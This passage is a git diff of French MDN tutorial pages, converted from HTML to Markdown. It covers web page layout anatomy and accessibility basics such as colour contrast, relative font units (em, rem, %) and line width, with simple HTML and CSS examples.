chaque page du site, cette section comprend des informations pertinentes pour l'ensemble des pages (par exemple, le nom du site ou un logo) et un menu de navigation convivial. +- Contenu principal + - : Cette section occupe la plus grande partie de l'espace et contient du contenu unique, relatif à la page consultée. +- Contenu secondaire -<p>Ces quatre sections sont généralement présentes, mais elles peuvent être disposées de plusieurs façons distinctes. Voici quelques exemples de dispositions possibles (où <strong>1 </strong>représente l'entête ; <strong>2, </strong>le bas de page ; <strong>A</strong>, le contenu principal ; et <strong>B1, B2</strong>, le contenu secondaire) :</p> + - : Il peut s'agir : -<p><strong>Dispostion à une colonne : </strong>particulièrement utile pour l'affichage sur téléphone mobile, car cette disposition évite d'encombrer les petits écrans.</p> + 1. d'informations complémentaires au contenu principal ; + 2. d'informations partagées entre un sous-ensemble de pages ; + 3. d'un moyen alternatif de navigation. En fait, ce peut être un peu tout ce qui est superflu par rapport au contenu principal. -<p><img alt="Example of a 1 column layout: Main on top and asides stacked beneath it." src="1-col-layout.png"></p> +- Bas de page + - : Visible au bas de chaque page du site, cette section contient, tout comme l'en-tête, des informations pertinentes pour l'ensemble des pages. On peut, entre autres, y trouver les mentions légales et les informations nécessaires pour contacter les responsables du site. -<p><strong>Disposition à deux colonnes :</strong> souvent utilisée pour l'affichage sur tablettes, car elles disposent d'un écran de taille moyenne.</p> +Ces quatre sections sont généralement présentes, mais elles peuvent être disposées de plusieurs façons distinctes. Voici quelques exemples de dispositions possibles (où **1** représente l'entête ; **2,** le bas de page ; **A**, le contenu principal ; et **B1, B2**, le contenu secondaire) : -<p> <img alt="Example of a basic 2 column layout: One aside on the left column, and main on the right column." src="2-col-layout-right.png"> <img alt="Example of a basic 2 column layout: One aside on the right column, and main on the left column." src="2-col-layout-left.png"></p> +**Dispostion à une colonne :** particulièrement utile pour l'affichage sur téléphone mobile, car cette disposition évite d'encombrer les petits écrans. -<p><strong>Disposition à trois colonnes :</strong> adaptée uniquement pour les ordinateurs de bureau ayant un grand écran (et encore, cela est relatif, car plusieurs utilisateurs d'ordinateurs de bureau préférent visionner les sites dans des fenêtres de taille réduite plutôt qu'en mode plein écran).</p> + -<p><img alt="Example of a basic 3 column layout: Aside on the left and right column, Main on the middle column." src="3-col-layout.png"> <img alt="Another example of a 3 column layout: Aside side by side on the left, Main on the right column." src="3-col-layout-alt.png"> <img alt="Another example of a 3 column layout: Aside side by side on the right, Main on the left column." src="3-col-layout-alt2.png"></p> +**Disposition à deux colonnes :** souvent utilisée pour l'affichage sur tablettes, car elles disposent d'un écran de taille moyenne. -<p>Il est aussi possible de mélanger tous ces modèles classiques :</p> +  -<p><img alt="Example of mixed layout: Main on top and asides beneath it side by side." src="1-col-layout-alt.png"> <img alt="Example of a mixed layout: Main on the left column and asides stack on top of each other on the right column" src="2-col-layout-left-alt.png"> <img alt="Example of a mixed layout: one aside on the left column and main in the right column with a aside beneath main." src="2-col-layout-mix.png"> <img alt="Example of a mixed layout: Main on the left of the first row and one aside on the right of that same row, a second aside convering the whole second row." src="2-col-layout-mix-alt.png">…</p> +**Disposition à trois colonnes :** adaptée uniquement pour les ordinateurs de bureau ayant un grand écran (et encore, cela est relatif, car plusieurs utilisateurs d'ordinateurs de bureau préférent visionner les sites dans des fenêtres de taille réduite plutôt qu'en mode plein écran). -<p>Sachez que ce ne sont que des exemples et que vous êtes libre de disposer les sections à votre façon. Vous remarquerez toutefois que l'en-tête demeure toujours en haut et le bas de page, en bas, peu importe les autres déplacements du contenu. Aussi, comme la section la plus importante est celle du contenu principal, assurez-vous d'y laisser le plus de place possible.</p> +   -<p>Ce sont là des règles générales dont vous pouvez vous inspirer. Bien entendu, il existera toujours des exceptions aux règles et des mises en page plus complexes. Nous discuterons d'ailleurs, dans d'autres articles, de la création de sites webs adaptatifs (c'est-à-dire qui s'ajustent à la taille de l'écran) et de sites utilisant plus d'un modèle de mise en page selon la page consultée. Pour l'instant, il serait cependant mieux de garder une mise en page uniforme sur l'ensemble de votre site.</p> +Il est aussi possible de mélanger tous ces modèles classiques : -<h2 id="Pédagogie_active">Pédagogie active</h2> +   … -<p><em>Aucun exercice pratique n'est disponible actuellement. <a href="/fr/docs/MDN/Débuter_sur_MDN">S.V.P., pensez à contribuer !</a></em></p> +Sachez que ce ne sont que des exemples et que vous êtes libre de disposer les sections à votre façon. Vous remarquerez toutefois que l'en-tête demeure toujours en haut et le bas de page, en bas, peu importe les autres déplacements du contenu. Aussi, comme la section la plus importante est celle du contenu principal, assurez-vous d'y laisser le plus de place possible. -<h2 id="Aller_plus_loin">Aller plus loin</h2> +Ce sont là des règles générales dont vous pouvez vous inspirer. Bien entendu, il existera toujours des exceptions aux règles et des mises en page plus complexes. Nous discuterons d'ailleurs, dans d'autres articles, de la création de sites webs adaptatifs (c'est-à-dire qui s'ajustent à la taille de l'écran) et de sites utilisant plus d'un modèle de mise en page selon la page consultée. Pour l'instant, il serait cependant mieux de garder une mise en page uniforme sur l'ensemble de votre site. -<p>Regardons maintenant quelques exemples concrets tirés de sites connus.</p> +## Pédagogie active -<h3 id="Disposition_à_une_colonne">Disposition à une colonne</h3> +_Aucun exercice pratique n'est disponible actuellement. [S.V.P., pensez à contribuer !](/fr/docs/MDN/Débuter_sur_MDN)_ -<p><strong><a href="http://www.invisionapp.com/" rel="external">Invision</a> </strong>: un exemple de disposition classique à une colonne où toute l'information est présentée de façon linéaire sur une page.</p> +## Aller plus loin -<p><img alt="Example of a 1 column layout in the wild" src="screenshot-product.jpg"> <img alt="1 column layout with header, main content, a stack of aside contents and a footer" src="screenshot-product-overlay.jpg"></p> +Regardons maintenant quelques exemples concrets tirés de sites connus. -<p>Un style simple et direct. N'oubliez pas, toutefois, que certains utilisateurs navigeront à partir d'un ordinateur de bureau et qu'il faut donc s'assurer que le contenu soit accessible sur cette plateforme également.</p> +### Disposition à une colonne -<h3 id="Disposition_à_deux_colonnes">Disposition à deux colonnes</h3> +**[Invision](http://www.invisionapp.com/) **: un exemple de disposition classique à une colonne où toute l'information est présentée de façon linéaire sur une page. -<p><strong><a href="http://abduzeedo.com/typography-mania-261" rel="external">Abduzeedo</a></strong>, un blog à disposition simple. En règle générale, les blogs comprennent deux colonnes : une large pour le contenu principal et une plus étroite pour les à-côtés (comme des widgets, les menus de navigation et les publicités).</p> +  -<p><img alt="Example of a 2 column layout for a blog" src="screenshot-blog.jpg"> <img alt="A 2 column layout with the main content on the left column" src="screenshot-blog-overlay.jpg"></p> +Un style simple et direct. N'oubliez pas, toutefois, que certains utilisateurs navigeront à partir d'un ordinateur de bureau et qu'il faut donc s'assurer que le contenu soit accessible sur cette plateforme également. -<p>Dans cet exemple, regardez bien l'image (B1) située directement sous l'en-tête. L'image est en rapport avec le contenu principal, mais n'est pas essentielle à sa compréhension. Nous pourrions donc considérer que l'image fait partie du contenu principal ou bien qu'il s'agit d'un à-côté (contenu secondaire). La distinction importe peu. Ce qui est vraiment important, c'est qu'un élément placé directement sous l'en-tête devrait soit faire partie du contenu principal, soit y être <em>directement relié</em>.</p> +### Disposition à deux colonnes -<h3 id="Attention_c'est_un_piège_!">Attention, c'est un piège !</h3> +**[Abduzeedo](http://abduzeedo.com/typography-mania-261)**, un blog à disposition simple. En règle générale, les blogs comprennent deux colonnes : une large pour le contenu principal et une plus étroite pour les à-côtés (comme des widgets, les menus de navigation et les publicités). -<p><strong><a href="http://www.mica.edu/About_MICA.html" rel="external">MICA</a></strong>. Cet exemple est un peu plus embêtant. On dirait une disposition à trois colonnes…</p> +  -<p><img alt="Example of a false 3 columns layout" src="screenshot-education.jpg"> <img alt="It looks like a 3 columns layout but actually, the aside content is floating around." src="screenshot-education-overlay.jpg"></p> +Dans cet exemple, regardez bien l'image (B1) située directement sous l'en-tête. L'image est en rapport avec le contenu principal, mais n'est pas essentielle à sa compréhension. Nous pourrions donc considérer que l'image fait partie du contenu principal ou bien qu'il s'agit d'un à-côté (contenu secondaire). La distinction importe peu. Ce qui est vraiment important, c'est qu'un élément placé directement sous l'en-tête devrait soit faire partie du contenu principal, soit y être _directement relié_. -<p>…mais non ! B1 et B2 flottent autour du contenu principal. Rappelez-vousce mot-clé : "flotte" (<em>float</em> en anglais) - nous y reviendrons lorsque vous commencerez à apprendre le {{Glossary("CSS")}}.</p> +### Attention, c'est un piège ! -<p>Pourquoi êtes-vous porté à penser qu'il s'agit d'une disposition à trois colonnes ? Eh bien, pour trois raisons : parce que l'image en haut à droite est en forme de L, parce que B1 semble être une colonne soutenant un contenu principal décalé vers la gauche et parce le "M" et le "I" du logo de MICA forment une ligne de force verticale.</p> +**[MICA](http://www.mica.edu/About_MICA.html)**. Cet exemple est un peu plus embêtant. On dirait une disposition à trois colonnes… -<p>Il s'agit ici d'un bon exemple d'une mise en page classique qui a été rehaussée avec un peu de créativité. Les dispositions simples sont plus faciles à mettre en place, mais ne devraient pas restreindre votre créativité.</p> +  -<h3 id="Une_disposition_en_apparence_beaucoup_plus_complexe">Une disposition en apparence beaucoup plus complexe</h3> +…mais non ! B1 et B2 flottent autour du contenu principal. Rappelez-vousce mot-clé : "flotte" (_float_ en anglais) - nous y reviendrons lorsque vous commencerez à apprendre le {{Glossary("CSS")}}. -<p><strong>L'<a href="https://www.operadeparis.fr/en/saison-2014-2015/opera/la-boheme-puccini" rel="external">Opéra de Paris</a>.</strong></p> +Pourquoi êtes-vous porté à penser qu'il s'agit d'une disposition à trois colonnes ? Eh bien, pour trois raisons : parce que l'image en haut à droite est en forme de L, parce que B1 semble être une colonne soutenant un contenu principal décalé vers la gauche et parce le "M" et le "I" du logo de MICA forment une ligne de force verticale. -<p><img alt="An example of a tricky layout." src="screenshot-opera.jpg"> <img alt="This is a 2 column layout but the header is overlaping the main content." src="screenshot-opera-overlay.jpg"></p> +Il s'agit ici d'un bon exemple d'une mise en page classique qui a été rehaussée avec un peu de créativité. Les dispositions simples sont plus faciles à mettre en place, mais ne devraient pas restreindre votre créativité. -<p>Il s'agit à la base d'une disposition à deux colonnes, mais vous noterez quelques ajustements ici et là qui viennent rompre la linéarité de la disposition. On remarque surtout que l'en-tête est superposée à l'image du contenu principal. En raison de la courbe du menu de navigation qui rappelle celle au bas de l'image principale, l'en-tête et l'image semblent former un seul élément uni alors qu'il s'agit en fait d'éléments techniquement distincts. L'exemple de l'Opéra de Paris semble plus complexe à réaliser que celui de MICA, mais est en réalité plus facile à mettre en place (la facilité étant bien entendu, un concept plutôt relatif).</p> +### Une disposition en apparence beaucoup plus complexe -<p>Comme vous pouvez le voir, il est possible de créer des sites sensationnels avec des mises en page somme toute assez simples. Jetez un coup d'œil à vos sites préférés. Pouvez-vous repérer l'en-tête, le bas de page, le contenu principal et le contenu secondaire ? Cet exercice pourra vous fournir de l'inspiration pour vos propres réalisations et vous aider à distinguer les dispositions qui fonctionnent bien de celles qui posent problème.</p> +**L'[Opéra de Paris](https://www.operadeparis.fr/en/saison-2014-2015/opera/la-boheme-puccini).** -<h2 id="Prochaines_étapes">Prochaines étapes</h2> +  -<p>Deux options s'offrent maintenant à vous :</p> +Il s'agit à la base d'une disposition à deux colonnes, mais vous noterez quelques ajustements ici et là qui viennent rompre la linéarité de la disposition. On remarque surtout que l'en-tête est superposée à l'image du contenu principal. En raison de la courbe du menu de navigation qui rappelle celle au bas de l'image principale, l'en-tête et l'image semblent former un seul élément uni alors qu'il s'agit en fait d'éléments techniquement distincts. L'exemple de l'Opéra de Paris semble plus complexe à réaliser que celui de MICA, mais est en réalité plus facile à mettre en place (la facilité étant bien entendu, un concept plutôt relatif). -<ul> - <li>Approfondir vos connaissances <a href="/fr/Apprendre/Commencer_avec_le_web">sur les bases de la conception web</a>.</li> - <li>Mettre le tout en pratique en <a href="/fr/Learn/HTML/Write_a_simple_page_in_HTML">créant votre toute première page web</a>.</li> -</ul> +Comme vous pouvez le voir, il est possible de créer des sites sensationnels avec des mises en page somme toute assez simples. Jetez un coup d'œil à vos sites préférés. Pouvez-vous repérer l'en-tête, le bas de page, le contenu principal et le contenu secondaire ? Cet exercice pourra vous fournir de l'inspiration pour vos propres réalisations et vous aider à distinguer les dispositions qui fonctionnent bien de celles qui posent problème. + +## Prochaines étapes + +Deux options s'offrent maintenant à vous : + +- Approfondir vos connaissances [sur les bases de la conception web](/fr/Apprendre/Commencer_avec_le_web). +- Mettre le tout en pratique en [créant votre toute première page web](/fr/Learn/HTML/Write_a_simple_page_in_HTML). diff --git a/files/fr/learn/common_questions/design_for_all_types_of_users/index.md b/files/fr/learn/common_questions/design_for_all_types_of_users/index.md index cecce85e86..efd847a8b2 100644 --- a/files/fr/learn/common_questions/design_for_all_types_of_users/index.md +++ b/files/fr/learn/common_questions/design_for_all_types_of_users/index.md @@ -10,100 +10,113 @@ tags: translation_of: Learn/Common_questions/Design_for_all_types_of_users original_slug: Apprendre/Concevoir_site_tous_types_utilisateurs --- -<div>{{IncludeSubnav("/fr/Apprendre")}}</div> +{{IncludeSubnav("/fr/Apprendre")}} -<p>Cet article aborde les concepts de bases pour vous aider à construire des sites web accessibles à tous.</p> +Cet article aborde les concepts de bases pour vous aider à construire des sites web accessibles à tous. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Avoir lu <a href="/fr/Learn/What_is_accessibility">Qu'est-ce que l'accessibilité ?</a> (l'accessibilité n'est pas approfondie en détails ici) et s'être familiarisé-e avec <a href="/fr/Apprendre/Concevoir_page_web">l'anatomie d'une page web</a>.</td> - </tr> - <tr> - <th scope="row">Objectifs :</th> - <td>Être en mesure de concevoir un site pour tous, quelles que soient les contraintes techniques ou celles de handicap. Cet article liste les points les plus importants et facile à mettre en œuvre pour atteindre un tel objectif.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Avoir lu + <a href="/fr/Learn/What_is_accessibility" + >Qu'est-ce que l'accessibilité ?</a + > + (l'accessibilité n'est pas approfondie en détails ici) et s'être + familiarisé-e avec + <a href="/fr/Apprendre/Concevoir_page_web">l'anatomie d'une page web</a + >. + </td> + </tr> + <tr> + <th scope="row">Objectifs :</th> + <td> + Être en mesure de concevoir un site pour tous, quelles que soient les + contraintes techniques ou celles de handicap. Cet article liste les + points les plus importants et facile à mettre en œuvre pour atteindre un + tel objectif. + </td> + </tr> + </tbody> </table> -<p>Lors de la construction d'un site, il faut entre autres garder à l'esprit qu'un site doit être accessible à tous, quelles que soient les contraintes de handicap, les contraintes techniques, la culture, le lieu depuis lequel le site est consulté, etc.</p> +Lors de la construction d'un site, il faut entre autres garder à l'esprit qu'un site doit être accessible à tous, quelles que soient les contraintes de handicap, les contraintes techniques, la culture, le lieu depuis lequel le site est consulté, etc. -<h2 id="Pédagogie_active">Pédagogie active</h2> +## Pédagogie active -<p><em>Il n'y a, pour le moment, pas de matériau pour la pédagogie active. <a href="/fr/docs/MDN/D%C3%A9buter_sur_MDN">Cependant, vous pouvez contribuer</a>.</em></p> +_Il n'y a, pour le moment, pas de matériau pour la pédagogie active. [Cependant, vous pouvez contribuer](/fr/docs/MDN/D%C3%A9buter_sur_MDN)._ -<h2 id="Aller_plus_loin">Aller plus loin</h2> +## Aller plus loin -<h3 id="Le_contraste_des_couleurs">Le contraste des couleurs</h3> +### Le contraste des couleurs -<p>Afin que le texte soit lisible, il faut utiliser une couleur de texte qui contraste suffisamment avec la couleur utilisée en arrière plan. Ce contraste est important pour que les personnes atteintes d'une déficience visuelle puissent lire le texte, il en va de même pour les personnes qui visitent le site et le lisent sur un écran de téléphone dans une rue au soleil.</p> +Afin que le texte soit lisible, il faut utiliser une couleur de texte qui contraste suffisamment avec la couleur utilisée en arrière plan. Ce contraste est important pour que les personnes atteintes d'une déficience visuelle puissent lire le texte, il en va de même pour les personnes qui visitent le site et le lisent sur un écran de téléphone dans une rue au soleil. -<p>Le {{Glossary("W3C")}} définit ce qui peut être une bonne association de couleur grâce à un algorithme qui calcule le ratio de luminosité entre l'arrière plan et le premier plan. Ce calcul peut être un peu compliqué mais est utile pour indiquer la qualité du contraste.</p> +Le {{Glossary("W3C")}} définit ce qui peut être une bonne association de couleur grâce à un algorithme qui calcule le ratio de luminosité entre l'arrière plan et le premier plan. Ce calcul peut être un peu compliqué mais est utile pour indiquer la qualité du contraste. -<p>Pour contrôler le contraste, vous pouvez télécharger et installer <a href="http://www.paciellogroup.com/resources/contrastanalyser/">l'analyseur de contraste</a> du Groupe Paciello.</p> +Pour contrôler le contraste, vous pouvez télécharger et installer [l'analyseur de contraste](http://www.paciellogroup.com/resources/contrastanalyser/) du Groupe Paciello. -<div class="note"> -<p><strong>Note :</strong> Sinon, vous pouvez également trouver différents vérificateurs de contrastes disponibles en ligne, par exemple celui de WebAIM : <a href="http://webaim.org/resources/contrastchecker/">Color Contrast Checker</a>. Il est préférable d'utiliser un vérificateur qui fonctionne en local sur votre ordinateur car généralement, ceux-ci ont également une pipette qui permet de prélever la valeur d'une couleur sur tout l'écran.</p> -</div> +> **Note :** Sinon, vous pouvez également trouver différents vérificateurs de contrastes disponibles en ligne, par exemple celui de WebAIM : [Color Contrast Checker](http://webaim.org/resources/contrastchecker/). Il est préférable d'utiliser un vérificateur qui fonctionne en local sur votre ordinateur car généralement, ceux-ci ont également une pipette qui permet de prélever la valeur d'une couleur sur tout l'écran. -<p>Par exemple, testons les couleurs de cette page et voyons ce que cela donne avec l'outil d'analyse de contraste :</p> +Par exemple, testons les couleurs de cette page et voyons ce que cela donne avec l'outil d'analyse de contraste : -<p><img alt="Colour contrast on this page: excellent!" src="colour-contrast.png"></p> + -<p>Le ratio de contraste pour la luminosité entre le texte est l'arrière plan est de 8.30:1, ce qui est mieux que le minimum recommandé par le standard (4.5:1). Avec cette valeur, de nombreuses personnes devraient être en mesure de lire le texte..</p> +Le ratio de contraste pour la luminosité entre le texte est l'arrière plan est de 8.30:1, ce qui est mieux que le minimum recommandé par le standard (4.5:1). Avec cette valeur, de nombreuses personnes devraient être en mesure de lire le texte.. -<h3 id="Taille_de_police_(ou_taille_de_fonte)">Taille de police (ou taille de fonte)</h3> +### Taille de police (ou taille de fonte) -<p>La taille de la police utilisée dans un site web peut être définie en unités absolues ou en unités relatives.</p> +La taille de la police utilisée dans un site web peut être définie en unités absolues ou en unités relatives. -<h4 id="Les_unités_absolues">Les unités absolues</h4> +#### Les unités absolues -<p>Les unités absolues ne sont pas calculées proportionnellement entre elles mais font plutôt référence à une valeur « dure », la plupart du temps, elles sont exprimées en pixels (<code>px</code>). Par exemple, si, dans votre fichier CSS, vous déclarez la règle suivante :</p> +Les unités absolues ne sont pas calculées proportionnellement entre elles mais font plutôt référence à une valeur « dure », la plupart du temps, elles sont exprimées en pixels (`px`). Par exemple, si, dans votre fichier CSS, vous déclarez la règle suivante : -<pre>body { font-size:16px; }</pre> + body { font-size:16px; } -<p>… vous indiquez au navigateur que, quoi qu'il arrive, la taille de la police doit être 16 pixels. Les navigateurs récents interprèteront cette règle de la façon suivante : « utiliser une police sur 16 pixels quand l'utilisateur a un niveau de zoom de 100% ».</p> +… vous indiquez au navigateur que, quoi qu'il arrive, la taille de la police doit être 16 pixels. Les navigateurs récents interprèteront cette règle de la façon suivante : « utiliser une police sur 16 pixels quand l'utilisateur a un niveau de zoom de 100% ». -<p>Cependant, pendant plusieurs années, Internet Explorer (jusqu'à Internet Explorer 8) affichait dans tous les cas 16 pixels. Le zoom n'avait aucun effet.</p> +Cependant, pendant plusieurs années, Internet Explorer (jusqu'à Internet Explorer 8) affichait dans tous les cas 16 pixels. Le zoom n'avait aucun effet. -<h4 id="Les_unités_relatives">Les unités relatives</h4> +#### Les unités relatives -<p>Également appelées <em>unités proportionnelles,</em> les unités relatives sont calculées relativement à l'élément parent. Les unités relatives sont plus pratiques en termes d'accessibilité car elles permettent de respecter plus simplement les paramètres choisis par l'utilisateur.</p> +Également appelées _unités proportionnelles,_ les unités relatives sont calculées relativement à l'élément parent. Les unités relatives sont plus pratiques en termes d'accessibilité car elles permettent de respecter plus simplement les paramètres choisis par l'utilisateur. -<p>Les unités relatives sont exprimées en <code>em</code>, <code>%</code> et <code>rem</code>:</p> +Les unités relatives sont exprimées en `em`, `%` et `rem`: -<dl> - <dt>Les tailles exprimées en pourcentages : <code>%</code></dt> - <dd>Cette unité permet d'indiquer au navigateur que la taille de police d'un élément doit représenter N% de la taille de police de l'élément précédent. Si aucun élément parent n'est trouvé, c'est la taille de police par défaut du navigateur qui est utilisée comme base de calcul (généralement, cette dernière est équivalente à 16 pixels).</dd> - <dt>Les tailles exprimées en em : <code>em</code></dt> - <dd>Cette unité est calculée de la même façon que les pourcentages sauf qu'ici, il s'agit d'un ratio par rapport à 1 et non d'un ratio par rapport à 100. L'unité est appelée « em » car elle correspond à la largeur d'un « M » majuscule (un « M » tient approximativement dans un carré dont on dira que la largeur vaut 1 em).</dd> - <dt>Les tailles exprimées en rem : <code>rem</code></dt> - <dd>Cette unité est proportionnelle à la taille de police de l'élément racine et est exprimée en ratio par rapport à 1, comme avec <code>em</code>.</dd> -</dl> +- Les tailles exprimées en pourcentages : `%` + - : Cette unité permet d'indiquer au navigateur que la taille de police d'un élément doit représenter N% de la taille de police de l'élément précédent. Si aucun élément parent n'est trouvé, c'est la taille de police par défaut du navigateur qui est utilisée comme base de calcul (généralement, cette dernière est équivalente à 16 pixels). +- Les tailles exprimées en em : `em` + - : Cette unité est calculée de la même façon que les pourcentages sauf qu'ici, il s'agit d'un ratio par rapport à 1 et non d'un ratio par rapport à 100. L'unité est appelée « em » car elle correspond à la largeur d'un « M » majuscule (un « M » tient approximativement dans un carré dont on dira que la largeur vaut 1 em). +- Les tailles exprimées en rem : `rem` + - : Cette unité est proportionnelle à la taille de police de l'élément racine et est exprimée en ratio par rapport à 1, comme avec `em`. -<p>Imaginons que la taille de police de base soit 16px et qu'on ait un titre principal (<code>h1</code>) dont la taille soit équivalente à 32px et qu'au sein de ce <code><h1></code> on ait un élément <code>span</code> avec une classe <code>subheading</code>, celui-ci devant également être affiché avec la taille par défaut (généralement 16px).</p> +Imaginons que la taille de police de base soit 16px et qu'on ait un titre principal (`h1`) dont la taille soit équivalente à 32px et qu'au sein de ce `<h1>` on ait un élément `span` avec une classe `subheading`, celui-ci devant également être affiché avec la taille par défaut (généralement 16px). -<p>Voici le code HTML qu'on utilisera :</p> +Voici le code HTML qu'on utilisera : -<pre class="brush: html"><!DOCTYPE html> -<html lang="fr"> -<head> - <meta charset="UTF-8"> - <title>Tests sur les tailles de police</title> -</head> -<body> +```html +<!DOCTYPE html> +<html lang="fr"> +<head> + <meta charset="UTF-8"> + <title>Tests sur les tailles de police</title> +</head> +<body> - <h1>Voici notre titre principal - <span class="subheading">Et voici notre sous-titre</span> - </h1> + <h1>Voici notre titre principal + <span class="subheading">Et voici notre sous-titre</span> + </h1> -</body> -</html></pre> +</body> +</html> +``` -<p>Un fichier CSS utilisant des unités exprimées en pourcentages pourrait être :</p> +Un fichier CSS utilisant des unités exprimées en pourcentages pourrait être : -<pre class="brush: css">body { font-size:100%; } +```css +body { font-size:100%; } /* 100% de la taille de base du navigateur, en général, le texte sera affiché sur 16 pixels */ @@ -114,11 +127,12 @@ soit 32 pixels */ span.subheading { font-size:50%; } /* La moitié du h1,soit 16 pixels, ce qui revient à la taille de base originelle */ -</pre> +``` -<p>Voici le fichier CSS équivalent, avec des valeurs exprimées en ems :</p> +Voici le fichier CSS équivalent, avec des valeurs exprimées en ems : -<pre class="brush: css">body { font-size:1em; } +```css +body { font-size:1em; } /* 1em = 100% de la taille de base du navigateur dans la plupart des cas ça correspondra à 16 pixels */ @@ -127,13 +141,15 @@ h1 { font-size:2em; } span.subheading { font-size:0.5em; } /* la moitié de la taille de h1, 16 pixels -ce qui revient à taille originelle */</pre> +ce qui revient à taille originelle */ +``` -<p>Comme vous pouvez l'observer, cela devient rapidement complexe lorsqu'il faut se souvenir de la taille du parent du parent et du parent du parent du parent, etc.</p> +Comme vous pouvez l'observer, cela devient rapidement complexe lorsqu'il faut se souvenir de la taille du parent du parent et du parent du parent du parent, etc. -<p>C'est là qu'interviennent les <code>rem</code>. Cette unité est relative à la taille de l'élément racine de la page et non au parent de l'élément. Le fichier CSS correspond peut ainsi être réécrit de cette façon :</p> +C'est là qu'interviennent les `rem`. Cette unité est relative à la taille de l'élément racine de la page et non au parent de l'élément. Le fichier CSS correspond peut ainsi être réécrit de cette façon : -<pre class="brush: css">body { font-size:1em; } +```css +body { font-size:1em; } /* 1em = 100% de la taille de base du navigateur, soit 16 pixels dans la plupart des cas */ @@ -141,107 +157,98 @@ h1 { font-size:2rem; } /* deux fois la taille du corps soit 32 pixels */ span.subheading { font-size:1rem; } -/* la taille originale */</pre> +/* la taille originale */ +``` -<p>C'est plus facile de cette façon, n'est-ce pas ? Cela fonctionne, à partir d'<a href="http://caniuse.com/#search=rem">Internet Explorer 9 et dans n'importe quel autre navigateur récent</a>, n'hésitez pas à l'utiliser.</p> +C'est plus facile de cette façon, n'est-ce pas ? Cela fonctionne, à partir d'[Internet Explorer 9 et dans n'importe quel autre navigateur récent](http://caniuse.com/#search=rem), n'hésitez pas à l'utiliser. -<div class="note"> -<p><strong>Note :</strong> Vous remarquerez qu'Opera Mini ne supporte pas les tailles de police exprimées en rem, il utilisera sa propre taille de police.</p> -</div> +> **Note :** Vous remarquerez qu'Opera Mini ne supporte pas les tailles de police exprimées en rem, il utilisera sa propre taille de police. -<h4 id="Pourquoi_aurais-je_besoin_d'utiliser_des_unités_proportionnelles">Pourquoi aurais-je besoin d'utiliser des unités proportionnelles ?</h4> +#### Pourquoi aurais-je besoin d'utiliser des unités proportionnelles ? -<p>Pour plusieurs raisons et notamment parce que vous ne connaissez pas le moment où le navigateur refusera de suivre le zoom pour une police exprimée en pixels. Si vous analysez les statistiques de visites, vous verrez que certaines personnes utilisent toujours d'anciens navigateurs, les unités relatives sont plus simples à gérer pour ceux-ci.</p> +Pour plusieurs raisons et notamment parce que vous ne connaissez pas le moment où le navigateur refusera de suivre le zoom pour une police exprimée en pixels. Si vous analysez les statistiques de visites, vous verrez que certaines personnes utilisent toujours d'anciens navigateurs, les unités relatives sont plus simples à gérer pour ceux-ci. -<p>Il est généralement conseillé de :</p> +Il est généralement conseillé de : -<ul> - <li>Décrire les tailles de police en unité <code>rem</code>, cela ne posera aucun problème à la plupart des navigateurs ;</li> - <li>Laisser les anciens navigateurs afficher les polices avec leurs moteurs internes. Les moteurs des navigateurs ignorent les propriétés ou valeurs CSS qu'ils ne reconnaissent pas et/ou qu'ils ne peuvent pas gérer. Votre site web est donc toujours utilisable, même s'il ne respecte pas nécessairement le design que vous souhaitiez. De toute façon et inexorablement, les anciens navigateurs seront de moins en moins utilisés.</li> -</ul> +- Décrire les tailles de police en unité `rem`, cela ne posera aucun problème à la plupart des navigateurs ; +- Laisser les anciens navigateurs afficher les polices avec leurs moteurs internes. Les moteurs des navigateurs ignorent les propriétés ou valeurs CSS qu'ils ne reconnaissent pas et/ou qu'ils ne peuvent pas gérer. Votre site web est donc toujours utilisable, même s'il ne respecte pas nécessairement le design que vous souhaitiez. De toute façon et inexorablement, les anciens navigateurs seront de moins en moins utilisés. -<div class="note"> -<p><strong>Note :</strong> Votre utilisation de ces unités pourra varier. S'il est nécessaire pour vous de gérer les anciens navigateurs, vous aurez besoin d'utiliser des <code>em</code>s, quitte à faire un peu de mathématique en chemin.</p> -</div> +> **Note :** Votre utilisation de ces unités pourra varier. S'il est nécessaire pour vous de gérer les anciens navigateurs, vous aurez besoin d'utiliser des `em`s, quitte à faire un peu de mathématique en chemin. -<h3 id="Largeur_de_ligne">Largeur de ligne</h3> +### Largeur de ligne -<p>Il y a depuis toujours sur le Web un débat sur la longueur que doit occuper une ligne. Mais cela n'est pas apparu avec le Web. Déjà avec les journaux, les imprimeurs avaient réalisé que si les lignes étaient trop longues, les lecteurs avaient du mal à suivre chaque ligne du début à la fin. Une solution fut trouvée à ce problème : organiser le texte en colonnes.</p> +Il y a depuis toujours sur le Web un débat sur la longueur que doit occuper une ligne. Mais cela n'est pas apparu avec le Web. Déjà avec les journaux, les imprimeurs avaient réalisé que si les lignes étaient trop longues, les lecteurs avaient du mal à suivre chaque ligne du début à la fin. Une solution fut trouvée à ce problème : organiser le texte en colonnes. -<p>Bien entendu, ce problème n'a pas disparu avec le Web. Les yeux d'un lecteur sont comme une navette qui va d'une ligne à une autre. Pour simplifier ce trajet, il est préconisé que les lignes s'étendent entre 60 et 70 caractères.</p> +Bien entendu, ce problème n'a pas disparu avec le Web. Les yeux d'un lecteur sont comme une navette qui va d'une ligne à une autre. Pour simplifier ce trajet, il est préconisé que les lignes s'étendent entre 60 et 70 caractères. -<p>Pour obtenir cet effet, il est possible de définir une taille spécifique pour le conteneur du texte. Voila ce que ça donne en HTML :</p> +Pour obtenir cet effet, il est possible de définir une taille spécifique pour le conteneur du texte. Voila ce que ça donne en HTML : -<pre class="brush: html"><!DOCTYPE html> -<html lang="fr"> -<head> - <meta charset="UTF-8"> - <title>Tests sur les tailles de police</title> -</head> -<body> +```html +<!DOCTYPE html> +<html lang="fr"> +<head> + <meta charset="UTF-8"> + <title>Tests sur les tailles de police</title> +</head> +<body> -<div class="container"> - <h1>Le titre principal - <span class="subheading">Et le sous-titre</span> - </h1> +<div class="container"> + <h1>Le titre principal + <span class="subheading">Et le sous-titre</span> + </h1> - <p>[Un grand texte qui s'étire sur plusieurs lignes]</p> -</div> + <p>[Un grand texte qui s'étire sur plusieurs lignes]</p> +</div> -</body> -</html></pre> +</body> +</html> +``` -<p>Ici, nous avons un <code>div</code> avec une classe <code>container</code>. Il est possible de mettre en forme le <code>div</code> en réglant sa largeur avec la propriété <code>width</code> ou en réglant sa largeur maximale afin qu'il ne soit jamais trop grand, grâce à sa propriété <code>max-width</code>. Si vous souhaitez avoir un site 